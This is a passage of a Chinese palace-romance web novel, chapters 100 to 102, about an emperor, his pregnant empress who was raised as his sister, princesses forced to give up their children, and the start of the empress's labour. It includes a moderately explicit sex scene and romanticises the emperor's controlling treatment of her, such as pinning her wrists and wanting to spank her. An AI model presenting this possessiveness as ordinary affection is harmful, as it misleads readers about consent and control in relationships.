媜珠以为他回宣室殿去了,并没察觉他过来,心烦意燥地在榻上轻哼着,不安地来回扭动着身体,睡相并不安稳,绣被被她抓得凌乱皱起,像一池被风吹皱了的碧波湖水。
偏偏她肚子大了,翻起身来也很辛苦,很快便急出了一身的细汗,笨拙得几乎有些像灿娘子肥嘟嘟的模样了。
周奉疆掀起帷帐在她榻边坐下,看着她的眼神里尽是一片怜惜,又夹带着几分无奈:
“为什么不告诉我呢?”
“你的心思,总要我去猜,我猜的准了,能好好地哄你,对症下药地讨你欢心,于是你的日子就好过。那我若是猜不准呢?你就这样硬熬下去?”
他掀起那绣被,还未抚上她的身体,便对上了媜珠蓦然睁开的一双秋波滢滢、云雾潋滟的眸。
媜珠极是错愕,下意识地想反问他要做什么,双腕却被他一下握住,反剪到了头顶。
她只能随着他的动作被迫仰首,挺起饱满的胸脯看着他,轻薄如蝉翼的贴身寝衣缓缓敞开了片领口,露出一道深深沟壑,乳白雪艳,活色生香。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
100-110
第101章
她孕期虽然没少吃,整个人看上去也的确珠圆玉润了不少,但四肢至今仍不显臃肿,似乎还是纤细如初,除了孕肚越来越大之外,身上唯一一处能让人肉眼可见地看出长胖了的,就是胸前这对雪圆的兔。
似也正因如此,她才看上去多了许多将为人母的柔婉姿态。
周奉疆腾出了一只手来,顺着那道沟壑探进去,挑开了她的衣襟,将她整个人裸露在自己眼下。
媜珠眼眶湿润,懵懵懂懂地扭了扭身子,十分难耐的样子。
可惜她的肚子真的大了,以前她这样扭动身体时极美,纤腰楚楚,柔弱无骨,窈窕曼妙,身段像一条游移在被褥上的灵蛇,更是成了精要吸食男人精血的蛇妖。
现在只像一只怀了孕、肚腹滚圆的母猫在榻上挣扎,好像胖得都翻不过来身一样。
被他这样“轻薄”了,媜珠不仅没有半分挣扎反抗,甚至还主动仰起脑袋来,努力在他下颌上印上一吻,朱唇湿润:
“……哥哥,伯骧哥哥。”
这样主动的吻实在难得,周奉疆一下心情大悦,受用了下来,回味了片刻后他才将她的脑袋放下,又挑起她的下巴:
“这么想要,为什么不告诉哥哥?你看哥哥这样疼你,只要你开口,哥哥一定会喂饱你的。”
“定不会叫你孕中体热寂寞,寝食难安。”
媜珠顿时瞪大了眼睛,委屈巴巴地看着他。
她面皮薄,叫她主动开口承认这些,她还是难为情不肯的。婚后这些年里,每一次情事都是他主动,而她顺从承受。
每一次,每一次都是他主动,从无例外,她从来没有主动和他要过一次,连半分委婉地邀请都没有过一次。
时日长了,男人心里多少也会有起几分猎奇的心,想看看这样玉女似的仙姬美人在床榻间主动起来是什么样子。
媜珠原先不肯,还拒绝了下,但看他作势要离开时,她终于还是忍不住哭出了声来,一面哭一面胡乱地亲吻他:
“阿兄……哥哥……别离开我。”
“媜媜想要你。媜媜想要哥哥。”
周奉疆放开她被扣在头顶的双手,下一瞬媜珠果然整个人都黏到了他身上去,手足并用地攀住他的身体,哽咽低泣:
“哥哥,求求你了,别离开我好不好……”
周奉疆满意了,怜惜地亲了亲她:
“哥哥从来都没有离开过你,只有你一次一次地抛弃哥哥。”
云行雨洽,颠鸾倒凤,之后的一切皆水到渠成,满殿旖旎春色。
被人喂饱后,媜珠困顿倦怠,身子绵软无力,可是却并无睡意,睁着一双眼睛趴在他怀里静静看着他,两人俱是赤诚相见,一层湿热的薄汗尚未擦去。
周奉疆要下榻取巾帕来给她擦擦身体,媜珠不肯他走,闹着要他待在她身边陪着她,他也只能顺从她的心意应下。
这一刻情爱的余韵尚未散去,彼此都在慢慢回味,满心满足,尤其是媜珠,一扫多日来的焦躁不快之色,变得柔顺又乖巧,叫人见之而生怜。
也许女人被喂饱后都是这样的,温顺地像只慵懒的猫儿,懒懒地伸一伸腰肢,什么脾气都没有了。
“外面下雪了。”
“今年长安城的第一场雪。”
不知何时,殿外隐隐传来宫人宦官们轻声说话的嘈杂声,不过很快这细碎的声音便消散了。
周奉疆听见了他们在说什么,是方才外头下雪了。
外面在漫天飘雪,殿内是暖意如春,怀拥心爱之人,才方结束了一场和她的情爱,彼此现下的心皆是无比宁静。
腹中的胎儿渐渐又有了动静,将两只小手抚上了媜珠的肚皮,媜珠将自己的双手搭在肚子上和孩子玩耍,有一搭没一搭地逗着这个小小的胎儿。
周奉疆抚了抚媜珠的发顶,轻嗅她发间的香气:“今日下雪了,晚上咱们吃羊肉暖锅好不好?”
媜珠的鼻子嗅了嗅,仿佛已闻到了铜锅里煮出来的嫩滑羊肉片的香气了,她在他怀里拱了拱,很高兴地答应了下来:
“我还要吃点鱼片和獐子肉,一定要鲈鱼的鱼片,还要河虾,还有一些葵菜解腻添味,再加一些笋片和菌菇,莲藕和山药。”
“好,都好。”
“再叫人取些糖渍荔枝、梨脯、桃脯、蜜饯海棠来,充作开胃的零嘴。”
她在这些吃食上很讲究:“光吃这些暖锅里的荤肉,到了夜间胃里不舒服的,再叫人煮些百合川贝燕窝粥来,多少要吃一点填填肚子,暖胃的。”
“好,臣都听娘娘您的。”
长安城里的雪落到琅琊公主府时,同样怀着身孕的周婈珠已经许久不曾展颜笑过了。
不管段充怎么哄她都无济于事。只要一想到自己将会和自己腹中的孩子长久地母子分离,她的心便痛到在滴血。
其实赵太后真的给了她四个选择。
其一,孩子生下来就一口咬死是张道恭的,反正模模糊糊的月份上估计还能对得上,到时候就取名姓张,然后送去认张道恭当爹,等张道恭死了,这孩子还能给他戴孝,哭送他一场。看在是一个没有威胁的“前朝余孽”的份上,皇帝为了做样子给百姓们看他是如何宽容仁慈,也不至于亏待了这孩子。——也算是半个龙种呢,不亏呀。而且这是四个选择当中,唯一一个能使孩子认她名正言顺当母亲的选项。
其二,送给她四妹妹颍川公主周芩姬,送去认韩孝直当爹。至于韩孝直和周芩姬喜不喜欢这孩子,那也难说。不过就算不喜欢,看在太后吩咐他们养着这个孩子的份上,他们也不敢明目张胆地虐待孩子。
其三,送给八妹妹九丹真人当个道童。别看说出去不大好听,但其实还是很有前程的,毕竟九丹真人靠着先帝之女的名号,在北地的道士和尚圈里很有名望,她那道观的香火无比旺盛,常年不断。这孩子以后要是承袭了九丹真人的衣钵,继续在北地招摇撞骗给人算命做风水赚钱,也是前景客观,不可限量,而且以后说不定也能被皇帝封一个“某某仙师”“某某真人”的封号。
最后一点,若是以上的选择周婈珠自己都不满意,硬要和她的孩子在一起怎么办?
办法也有。
那就是把这孩子挂在宫中从前放出去嫁人生子的某位宫女名下,暂且可以养在周婈珠身边,但不能和她称母子,在她身边养个十几年,以后只能一生做宫人,别的孩子长到十七八岁要嫁人成家了,她的孩子到了十七八岁就送到宫里当奴才。
要是生了个女儿倒还好,要是生的是儿子嘛……进宫做宫人前还点去掉些东西,又是一场皮肉之苦。
不出所料的,以上选择中,周婈珠哪个都不愿意。
到现在,她反而羡慕起了四妹妹周芩姬和她的韩驸马。
不论怎么说,现在的周芩姬反而有一个完完整整、名正言顺的家。
而她呢,她连一个家都没有,她的男人不能成为她的丈夫,她的孩子不能称她一声母亲。
连这点最卑微的索求,她都不能拥有,她的一生何其可怜!
长安城里飘起了一场大雪,周婈珠坐在檐下望着这漫天飘雪,思绪久久不能止。
段充轻轻地给她披上一件外衣,劝她回屋里去。
周婈珠不答。
良久,她忽然开口对他说:
“你说,如果我现在去求赵太后,去求周媜珠,去求皇帝,我说我什么都不要了,所谓公主的名位和尊荣我什么都不要了,我只想要我的孩子,他们会答应吗?”
她的语气急切起来,
“我不能把我的孩子送给别人!我要和皇帝皇后他们说,待我十年软禁期满,我就做一个庶民百姓,我带着孩子和你回冀州老家去,你们家没到我父亲麾下做事之前,从前祖宗几代在冀州不是杀猪的屠户吗?我跟你去,我后半辈子就跟你杀猪去!我什么都不要了,我不做公主了,茅屋草席,吃糠咽菜,我愿意,我都愿意,我宁愿一无所有我也要和我的孩子在一起!”
段充极为震惊错愕,他连忙哄住情绪激动的周婈珠:
“公主,公主您冷静些公主!公主,这些不值得,不值得您这样做!等这十年过去了,您还是高高在上的公主,您还可以照常嫁人、生子,您会有一位体面的驸马,会和驸马生下名正言顺的孩子,您没有必要现在就这样毁了您的人生!”
“可我就想要现在的孩子,现在的男人!”
周婈珠泣不成声:“十年之后的什么驸马、什么孩子,我都不想要,我只想要我现在肚子里的孩子,现在陪在我身边的男人,我只想要这个!”
她靠进段充怀里,“我不是疯了,我也没有傻,我知道我在做什么,我这辈子失去的已经够多了,我不敢再期盼未来,我只想要现在我能拥有的。”
在这雪色弥漫里,段充抱着她,想到的却是十多年前曾和周奉疆他们在冀州军营里的一夜闲话。
那时候所有人的起点都还一样,大家都是周鼎部下,也没多少尊卑地位之别。
少年意气的男儿郎们在一起什么都能聊上几句,也包括聊到女人。
有一天夜里不知是谁起的头,说到了那句“悔教夫婿觅封侯”。
有人开了个头问起这话,说在座各位兄弟们再过几年都到成家娶妻的年纪了,若是娶了娇艳美妻后,家中美妻舍不得夫婿出去打拼、叫她自己独守空房,看着娇妻垂泪,又该如何是好呢?
有人不屑地说道,女人都是头发长见识短,你怎么样她都不满意,你若真的闲在家里没有前程,她四下里和自己闺中密友们比较一番,定要羡慕人家的男人高官厚禄,自家的男人没有出息,届时又要挤兑你了!——所以他选择前程,并且有前程后要纳上许多娇妾相伴,享尽人间美色。
韩孝直说,未必所有女人都只想要丈夫陪伴,他要娶一个和他齐心协力盼着他上进的女人,他在外面打拼军功,家中贤妻主持家事,养育儿女,男主外女主内,再好不过。——他选择找一个不会吟诵“悔教夫婿觅封侯”的女人为妻。
另一人早已定下了婚约,未婚妻还和他是青梅竹马,是以少年郎对那女孩儿十分怜惜,他倒是提了个折中的主意,说自己不论去哪都要把娇妻带在身边陪伴,妻子可以照顾丈夫,丈夫可以征战打拼,于两人都好。若是妻子在外头受苦了待不住,他再把妻子送回家里安稳度日。
还有不着调的下流人开起了荤段子,说要看这娇妻美色几何,但凡能比得上北地第一美人馆陶县主的半分美貌,这样的女人都要别在自己裤腰带上看紧了,千万不能叫美人儿独守空闺,要不然你离家个一年半载的,头上的绿云积得比手头的军功还多,岂不亏哉!
好些人都跟着哈哈大笑,饮酒吃肉。
这个话题许多人都张嘴发表了一番自己的看法,到最后只剩下周奉疆和他没有开口。
不知是谁发现了,便起哄叫他们两人也说一说。
段充那时脑海里闪现的是周婈珠的身影,于是他低声说,他要和他的心上人在一起待一辈子,只要能陪在那个女人的身边,只要能守着那个女人,前程不前程,功勋不功勋的,他都无所谓。
——这还是当时唯一一个说自己不要前途要女人的。
他话音落下,周奉疆靠在椅背上,也低声说了一句,说男人怎么能没有前途呢?若是没有前途,以后真遇到喜欢的女人,岂不是也只能拱手让给他人?若是没有前途,以后你喜欢的女人遇到事了,哭哭啼啼地求到你面前来,你都不能相助,这做男人还有什么意思?
众人先是一愣,而后哈哈大笑地也起哄起来,说段充和周奉疆两人不论要不要前途都没什么区别,都是两个情圣而已!
现在快到而立之年的段充知道了,他们之间的区别大得很,大得多。
那是天与地之间的鸿沟,永生永世不能越过。
周奉疆有权势又有女人,他想要的都得到了。
而他也一语成谶,说中了自己的结局。
他当年提点过自己,可是自己没听进去。
先是眼睁睁看着周婈珠嫁给了张道恭做妾,而后当周婈珠落入今天这样田地时,他根本救不了她。
他无能又无用。他以为自己保护了她多年,可是没有权势的男人,一文不值,空有真心,实则连野草也不如。
若是他当年选择留在了冀州,如果他选择继续给周奉疆做事,那么今时今日的他也位至列侯,也许他就能真的庇佑住自己心爱的女人。
她也就不会这么痛苦,他们也不会连自己的孩子都留不住。
万般都是命啊。
自被周奉疆浇灌了一番雨露之后,媜珠被喂饱了,年关前的这段时日也终于不闹事了,安安稳稳地捧着肚子养胎,怎么样都是听话的。
她肚子里的孩子虽然不会折磨母亲,但是随着肚腹渐大,她也还是终于吃到了一点怀孕的苦头,行动间越来越不便,走到哪里都要捧着这个圆滚滚的肚子缓缓挪动,唯恐出半点差错。
周奉疆在时,但凡她要去哪里,他都会温柔地护着她的腰,搀扶着她小心翼翼地走动。
但他不在时,她的姿态就有千方百种的狼狈了。
年关前祭祀祖先天地,诸事繁忙,他大手一挥,免去了她的所有劳苦,只叫她安安心心待在寝殿里等着过年。
宫外的事有皇帝去忙,宫内的事有太后操持,她不用操半点心。
这天到了腊月末里,媜珠窝在寝殿的暖凳上,围着炉子取暖吃茶,和殿内的宫娥们闲话说笑,赵太后却冷不丁地寻来了媜珠这里。
挥退众人后,太后叹了口气:
“那死丫头说,她以后要去冀州和段充带着孩子杀猪过日子,她什么都不要了,只恳请宫里把她的孩子留在她身边长大,以后和她这个杀猪娘子一起做个杀猪娃。”
媜珠一下大惊失色:“二姐姐疯了?好端端地公主名位她不要了要去……”
“皇帝已经准了。并且告诉她说,就这一次,下不为例,以后她就算反悔也无用。”
赵太后摆了摆手:“算了,随她去吧,她该遭的报应也遭了,杀猪家的好歹还不愁猪肉吃,也饿不死一家三口。她自己甘心情愿。怎么样都是好的。”
太后的神思恍惚:“为了孩子啊,做人母的做什么不肯呢。仔细想想也能体谅她,就算她还做着这个公主,以后她的孩子一切都和她无关,也享不了她公主的荣华,更不能喊她一声母亲,兴许我是她,我也能愿意去杀猪的。”
媜珠默然不语,心绪难平,但也只能认下。
“何况呢,做着这个公主又如何,长安城里她是举目皆敌,寸步难行,四下无亲故,等她被放出来,不说别人,四娘第一个冲上去恨不得要杀了她的,她在这长安城里说不定也是郁郁寡欢,哼。都是她的报应罢。
其实做公主也未必就比杀猪的痛快,媜媜啊,你要信命的。多少天家的公主受尽荣宠,二十五六岁上就冤枉病死了,庶民之家杀猪屠户的娘子们反而多有过到六七十岁的,这叫人上哪说去!哎,都是命!”
太后最后是这样说的。
确实,很多时候做公主还不如去杀猪来得痛快。
——周芩姬现在就深有同感。和韩驸马吵了大半年了,也闹了大半年了,她的心已经成了一片死水,再难看见一点生机。
可她毫无办法,每一次声嘶力竭地和韩孝直争吵后,她也知道这是无力的,不管韩孝直做出怎样的反应,他们都改变不了如今的现状。
吵来吵去,还有什么意义呢?
于是她也渐渐地心死了,仿佛也不在意这些了,就这样闷声在长安城里寂静了下来,无声无息地守着她的这份公主俸禄过她的日子。
教养一双儿女,在母亲李太妃膝下承欢尽孝,祖孙三代人共享天伦之乐,也是值得的。
至于驸马在家里做什么,喝了多少酒,她一概不问,眼前也就清净了下来。
年关下,宫中的赏赐送到了颍川公主府上,皇后额外补贴了一份,倒比旁人家里的丰厚些,足够公主体体面面地过完这个年,还能余剩不少。
颍川公主依偎在母亲李太妃身侧,一面剥着金桔一面叹气:
“也足够了,我也认命了。好歹我就只有辉儿和宜儿,以后求了皇后的恩典,给辉儿求一个吃空饷的虚衔,给他挂个小官差使在身上,叫他一辈子饿不死就完了。宜儿呢,嫁不到好人家咱们就不嫁人,一辈子养她在公主府里,熬个十几年,熬到我人老珠黄了,舔着脸去跟皇后给她求个郡君啊县主啊的封号,她一辈子不嫁人也不愁吃穿了。”
李太妃忍下了叹息,也强撑出笑颜来:
“再好不过了,一家人知足心甘,比一切都好。再富贵又要富贵到哪去呢?难道要宜儿以后去做皇后?还是叫辉儿当天子?咱们府里吃喝不愁的,就胜过宫外万千人家,还要怎样呢?”
周芩姬也笑:“是啊,从前还有皇帝叹息自己不如江南富足翁呢,咱们比皇帝家自在,比江南富翁家更显贵,有什么不够知足的,胜过玉皇大帝呀。”
所以有时想想,人生的一切还真是奇妙。
人生过半,多年来一直口口声声喊着要荣华富贵的周婈珠,最后甘心为了自己的孩子和自己喜欢的男人而放弃一切,一无所有。
一直自命清高觉得自己不爱慕富贵尊荣的周媜珠,现在却又被这些东西死死地困住,永生永世都要和周奉疆耗在一起了。
一生最不甘于默默无闻的周芩姬,最后还是选择了默默无闻,知足常乐,并且在这份知足常乐中品到了几分恬静自然的滋味。
赵太后说媜珠的这个孩子生的月份好呢,正是要生在韶光淑气、柳莺花燕的浓春。
翻过年后便是龙章三年了,媜珠到了孕期最后的几个月里,一日比一日吃力辛苦,她也是数着日子盼孩子生下来。
椒房殿里的女医、产婆和乳母等人早已齐全得备下了,都是赵太后亲自精挑细选过没有差错的人,皇帝那里又把这些人的祖孙几代查看过无误,确认祖上无人犯过事,都是身世清白的,这才安心放她们过来伺候媜珠。
媜珠半点闲事不管,偶尔还会说上几句风凉话:
“母亲要亲自挑拣这些人是不是有经验的熟练妇人也就罢了,陛下要查人家的祖宗是为何呢?是陛下从前在外头的仇家太多,不可胜数,怕他们暗中找人来报复妾吗?”
皇帝瞥她一眼:“你既知道,还多问什么?”
媜珠嘟了嘟嘴,“妾知道陛下的仇家多呀,没有恢复记忆前,第一次对陛下和对自己的身世产生怀疑,就是因为妾曾在前楚遗留的那堆文书奏章中看到有官员上书皇帝痛骂您的,说您什么来着?说您殴打河间王殿下,圈禁侮辱河间王妃,有乱人伦,说您身为兄长,欺辱幼妹……”
皇帝冷笑:“朕就知道,你那次肯定看见了不该看的东西,朕要问你,你还死活不承认,和朕顶嘴吵架,怪朕教训你吗?”
临产前的一个月里,趁着二月春光好,这对父母其实还忙着做了不少的事情。
比如说,他们要选个“吉坑”掩埋孩子出生后的胎盘,还要在坑上种上树苗。
帝后两人听了司天使的一通忽悠讲解,最终选择就将他们第一个孩子的胎盘埋在宣室殿的后侧,生男种柏树,生女种玉兰,都是极长寿的树木。
再比如说,给孩子准备的襁褓和肚兜衣裳,媜珠一件件有耐心地叠好,一件件仔细翻看过,她还剪了周奉疆的一件外裳,亲手给孩子缝了个漂亮的团龙纹包被。
还有就是该考虑为这孩子取个名字了,不过碍于还不知孩子的男女,这名字也不大好正经取。
三省的官员和学士们都比皇帝皇后要上心得多,各自穷尽心思、翻遍古籍经典,为帝后二人的第一个孩子取名献上了许多意象极好、引经据典的参考,争相希望自己的提议可以被宫中采纳。
不管是男孩女孩,只要说出去说,这大魏宫中的第一个孩子是我给取的名,死了刻在墓志上也是件骄傲有脸面的事。
不过他们取得都是大名,媜珠将那叠厚厚的纸拿来翻看过,不管是男孩的名字还是女孩的名字,意思都是那一套。
若生皇子,就各种夸他能继承宗祧、能继承大统,是太子,是储君,以后还能当皇帝。
若生皇女,就夸她得宠、尊贵、帝后喜爱,柔嘉维则,令德令仪,真不愧是国朝第一位公主,而且名字里不是“昭”就是“懿”,也不是说这样的字不好,更不是说她女儿不配这样的字,只是,
——出现的频率太高,难免显得庸俗了。
而且她不大相信,这些朝臣们会忽然脑袋想到一块去了,都选这样的字为皇女取名吗?
媜珠很困惑,皇帝很骄傲:“是朕让他们这样去取名的,昭懿二字,一听就贵不可及,旁人想来也定是皇后所生的得宠的公主,寻常女子都配不上。”
媜珠微笑:“那陛下已有心仪的字眼,何必还要朝臣们为您去取字呢,妾若生女,您的女儿生下来就叫昭懿,还可以叫懿昭,或是叫昭昭,懿懿,不好吗?”
她委婉地提醒皇帝:“陛下是从艰苦中立基业而兴王道的,所以从前就有人笑陛下的出生不如贵胄子弟,您为自己的孩子取名,就更不能朝外面嚷嚷这些话,叫旁人笑话陛下没有见过世面,给孩子取名也都取俗气的那一套。”
两人不能达成一致的意见,只能决定先给孩子取个小名,给他们在宫里喊着。
媜珠抚着肚子,尽显柔爱:“若生女孩,或许可以叫露露儿,我怀她的肚子就像个大露珠;若生男孩……”
周奉疆想了想:“生男就先叫小老虎,生女就先叫小凤凰,好不好?”
媜珠被他气得脑袋发晕。
她说话有些阴阳怪气:“陛下前世怎么会叫李伯骧呢?公爹该给您取名叫李虎,李老虎,李打虎,李擒虎。”
周奉疆还笑了笑:“我梦里记得父亲好像也没读过什么书,他是给了村里的秀才钱,叫那读过书的秀才给我取的名。”
媜珠莞尔:“原来陛下知道啊!那陛下现在不妨再把那秀才给找来,为您的皇儿取名吧。”
为孩子取名吵崩过一次后,两人转而又思索起生下皇儿后宫里宫外该如何赏赐。
这么一想,要考虑到的人还真是多的数不过来,宫里的宫人太监们,尤其是椒房殿里侍奉的奴才,还有一直照顾媜珠的王医丞等医者,产婆,乳母,宫外的朝臣,宗亲,还有待在长安的各国使臣,还有一些留在冀州老家的周家亲戚们,还要祭祀先祖,向祖宗和天地禀告、报喜、祈求他们的庇佑……
媜珠是聪明人,她忙不过来的时候就会甩手不干,扔给母亲和丈夫去处理。
这一年的三月春盛,媜珠犹有兴致在宫中御苑里赏花漫步,到了随时可以临盆的时候,这几日里她时常会焦躁不安,像一头困兽。
这会儿她难得有心情出来走走,忽又悒悒不乐,轻抚面庞:
“妾近来胖了,腰肢也粗了,已失了过去颜色,人老珠黄,如何再敢与满园春色相比?妾待在此处,只会糟践了这琼兰春景。”
皇帝摘下一朵娇艳朱红的牡丹别在她鬓发间:
“若无皇后容光,皇城长安必将失色黯淡,再无片刻良辰美景。”
媜珠笑了:“妾不信。有群芳竞艳,妾庸脂俗粉,哪里还堪入眼。”
皇帝又哄她:“群芳不过莺燕与桃李,皇后乃明珠星月,怎抵皇后半分艳光。”
这些情话最终不会被史官提笔记述,后人也无从得知,不过这一天最终化成白纸黑字,落于史官笔下,记载在周奉疆那份的帝王本纪中时,是这样的:
——“龙章三年,春三月庚午,皇后生皇长子于椒房殿,长安有天子气。
上大喜,亲率百官宗亲告之宗庙,祀天地。上令颁诏天下,使咸闻知。
皇子初赐名戎,因皇后故上甚爱之,癸酉,封太子。”
第102章
他在她鬓边簪上一朵开得正盛的牡丹,媜珠的笑颜也随着那牡丹的娇嫩花瓣一齐缓缓绽放。
他扶着她笨重的腰肢陪她在花苑里又多走了几步,媜珠的双手搭在圆滚滚的肚皮上,感受着孩子愈发强烈的胎动,某种预感在脑海中愈演愈烈,呼之欲出。
媜珠的目光落到了一颗茂盛的石榴树上,三月春盛,这颗石榴树铆足了劲开始抽芽吐叶,枝繁叶茂,恐怕待到五六月时会生出一树灿烂的石榴花了。
而她的肚子也像一颗圆润饱满的石榴果,仿佛下一刻就熟得要裂开似的。
见她的视线望向那颗石榴树,周奉疆笑了笑:“等你生完孩子,坐完月子再出来,正是初夏热烈之时,榴花照眼明,菡萏发荷花,我再陪你多出来走走,好不好?”
赵太后也说这话呢,正因为她生的月份好,做完了月子出来就要入夏,不耽误她夏日祛暑用冰,月子里一点也不遭罪的。
媜珠看着他,面上的笑意慢慢凝结在他眼底,她一下握住了他的手臂,声气很低:“我感觉,我感觉……”
她膝头一软,踉跄了一下,险些站不稳,幸好他一直扶着她,让她靠在自己身上。
第一次面临生产分娩之事,她不免紧张畏惧,面色苍白,满心都是对未知的恐惧与忐忑,
“哥哥,哥哥,我感觉我的肚子,我的羊水好像、好像……”
余下的话不必多说,他瞬间便明白了。
倪常善也连忙在一旁张罗起来,一边要叫人去宣轿辇来送皇后娘娘回椒房殿待产,又一串声叫他干儿子倪赐清跑回去传话,令椒房殿里的医者、产婆一干人等全都准备起来。
可是纵使太监们的腿脚再快,把皇后的轿辇抬过来也是要点时间的,总不能叫皇后现在捧着肚子就在这里干等着吧?
皇帝想也不想地就将她打横抱起,下颌紧绷着,步履迅疾又格外平稳,带着她一路回寝殿去。
看见他神情紧绷,媜珠愈发紧张,在他怀里瑟瑟发抖,除却能感受到他胸口剧烈的心跳声外,就是她肚子里的动静一刻不停,大约这个孩子真的等不及要出来了。
媜珠还是很害怕的,不仅怕分娩之苦,而且也怕死。
太后和皇帝为她挑拣来帮助她生产的那些产婆们自然个个都是身经百战的,大抵女子分娩时遇到的种种五花八门的情况她们都遇见过。
媜珠曾经私下询问过她们,女子生产,一百人里有死伤几何?婴孩能养活多少?
产婆们不想吓到这位初次有孕的皇后,报出来的数字远比实际情况要好上很多,但依然足以让媜珠胆战心惊许久。
事后皇帝和太后知道了这事,产婆们又想好了对策来安抚媜珠说,别的产妇分娩后有死有伤的,实则多半也不是生产时受了折磨所致,多的是产后没有被家中照顾好,或是受了苛待,受了闲气,被人故意磋磨,这才在产后最虚弱时染上了些病症。
她们恭维媜珠,说娘娘享天子厚爱,椒房殿里里外外这么多人只服侍娘娘一人,种种状况太后和陛下先前皆预料到了,为娘娘做足了完全的准备,娘娘才不会有什么事呢。
这话媜珠也只能信五分,倒不是她觉得母亲和丈夫待自己还不够真心,只是和她一样是皇后、是天子嫔御的人,她们的孩子也都生在宫里,可她们不是也没少因分娩而丧命吗?
产婆们又掰着手指头安慰媜珠说,那也不一定呢,从前的那些后妃们,但凡是宠妃的,不是多有连生四五胎而安然无恙的吗?她们为什么很多都没出事,就是因为她们分外分外得宠,皇帝格外格外看重,所以伺候的人不敢不小心啊!
靠着皇帝的这份宠爱和庇佑,皇后娘娘您又怎么会有什么事呢?
话都说到这个份上了,媜珠也只能寄希望于他的爱,希望他的爱可以使自己渡过人生中的第一遭劫难。
她从前就靠着他的宠爱免受了许多厄难折磨,现在她还是希望可以依靠他的爱。
她在他怀里仰首望着他,在一波又一波渐渐涌来的阵痛中忽然开口轻声问他:
“要是我生得不顺利,医者们说保大保小只能二者选一,陛下会怎么选呢?”
他步履不停,眉头却皱了皱,垂眸看了她一眼,被她气得心口疼:
“问这种蠢话?我看你是一点也没长进。就算你肚子里怀着玉皇大帝当我儿子、女娲王母当我的女儿,只要能保住你,舍了他们我都不心疼。”
媜珠稍稍得了些安慰,又缠着他问:
“那如果我就是生不下来,一尸两命……等我死了,陛下会替妾照顾好母亲吗?陛下以后有了别的女人,会不会就厌倦了和妾的那些过往,会不会薄待了太后,还把妾的寝宫赏赐给别的女人居住?”
他鬓边的太阳穴被她气得砰砰跳个不停,藏于衣袖中的双臂青筋暴起,若非顾忌她现在的身子,他真想像上次一样把她按在自己腿上狠狠抽她的臀。
他竭力让自己和她说话的语气里不带怒意:
“周媜珠,你在这里念丧经的话敢不敢叫你母亲听见?就算朕不教训你,你母亲也要教训你的。”
媜珠委屈巴巴地含着泪珠望着他。
他的心也软了下来,低声哄她:
“我只会有你一个女人。只会有你。曾经的所有承诺,以后也都作数。”
这话里的意思彼此都懂。
阵痛使媜珠身上开始冒起一层冷汗,她咬了咬牙,别过了头去,
“山盟海誓比不过海枯石烂,人心未必能胜天意,我只希望……我只希望不管到什么时候,求你一定要善待我母亲,让她风光体面地安度晚年,别的我什么都不贪心多要。”
媜珠话音刚落,皇帝已抱着她踏进了椒房殿的大门。
不过片刻,她就被他抱进了寝殿里,小心地安置在了那张大床上。
床榻上已被人收拾过,铺着绵软的被褥,寝殿里也被人归置过,无关紧要的陈设摆件,诸如香炉等等,都被宫娥们移到了一边去,空出地方来供产婆、医者等人来回行走。
媜珠刚被他放下,他蓦然低头,发觉自己的衣袍已沾上了一片血红,心头战栗发寒,竟比他曾经见过的战场上的尸山血海恐怖无数倍。
嬷嬷们忙着剪下媜珠身上的衣裙,一位有经验的接生嬷嬷迎了上去开始问媜珠的情况,问她几时察觉破了羊水,又问她现在的痛意有几分,又教她不要害怕,告诉她现在该如何吐息,甚至还问了她现在饿不饿。
媜珠又腾出一只手来给王医丞切了脉,这关口若无大事,王医丞也不好在这里久待,他只立刻下了断论,说皇后的身子还好,适宜分娩,而后便很快退了下去,静候殿外等待皇帝的其他吩咐。
又有稳婆上来在她肚子上摩挲来摩挲去,说她的胎位很正,现在生并无大碍。
这样大的阵仗,媜珠原先的七八分害怕也陡然生成了十二分的畏惧,颤颤巍巍地任由她们各种摆布,她连呼吸都由不得自己,有嬷嬷守在她边上盯着她如何吐息,她连吐错一口气都会害怕。
也许不管什么样的女人,到了生孩子的时候都是产榻上的一块肉,只能任由别人折腾,都是要失去尊严的,哪怕贵为皇后都不能幸免。
正当这时候,她母亲也急忙赶了过来,神色匆忙地扑到媜珠的产榻前来,还一个劲叫她听嬷嬷们的话,说这是极有必要的,生产的时候一口气吐错了,不小心被孩子出生时撕裂了身子,失了后半辈子的恩宠是小事,留下的折磨是在自己身上的,那才是得不偿失呢!
媜珠头都大了,只觉得眼前有一圈又一圈的星星在乱转,她连自己身在何方都摸不清楚。
其实她这时的痛楚尚不算太厉害,有嬷嬷从膳房给她端来了一盅人参桂圆鹌鹑汤来,说让她多少吃一点,补充些体力。
她生孩子的排场很大,可不单单只是稳婆和医者他们要忙,就连膳房的人都提前好几日做好了准备,把皇后届时要入口的东西时时刻刻备齐了。
比如这人参汤,在炉子上煮就要煮上一两个时辰的,若是等皇后要生了再准备,来得及么?所以只能是不计浪费,一直备着,每隔两三个时辰就换一份,夜里也不敢灭火。
可惜皇后大约还并不明白为什么她这时候需要吃东西。
媜珠满面汗珠地费力从榻上抬起头来:“我在这里生、生孩子,怎么还叫我、叫我吃……”
母亲又教训她:“你怎么知道你这一胎要生多久?运气不好的,生上三天三夜也不一定,所以膳房里时时刻刻备着这些吃食,叫你还能吃东西的时候吃上几口,免得到时候一点力气也使不上来。”
三天三夜……
媜珠眼前一黑,险些彻底晕过去。
但听母亲她们都这么说,她也只能认了下来,被嬷嬷稍微搀扶起些许,准备吃点东西先保存着体力。
一直沉默地守在一旁的皇帝上前接过了那盅参汤,一口一口耐心地喂给媜珠吃。
赵太后这时才想起来皇帝还在这里,不由得抿了抿唇,其实心里很是五味杂陈。
哪有后妃生孩子,皇帝就这样守在殿里的呢?
就算没有“产房污秽”的忌讳,也未必见多少男人对自己的女人有这份耐心。
她不希望周奉疆守在这里,因为女人在生产时一定是不美丽的,就算先前有十二分艳色的美人,到了产榻上也被折磨得半分都不剩。
她不大想让周奉疆看见媜珠最狼狈不堪时候的样子,因为媜珠现在不是他的妹妹,而是他的女人。
兄长看见自己妹妹精疲力竭、摇摇欲坠的惨状,或许会心生怜惜,想着以后一定要好好补偿妹妹。
但是男人看见自己的女人会不漂亮、不美丽,倒更有可能减少了对她的宠爱。
然而另一方面,赵太后心里又想着,若是媜珠在这里为他生孩子,皇帝不在这里,她还要满宫里到处找皇帝在哪里,还要想法子遣人去通传皇帝,告诉皇帝一声,她肯定还是不高兴的。
婆婆挑起儿媳的罪处来处处都不顺眼,岳母打量着女婿也不遑多让。
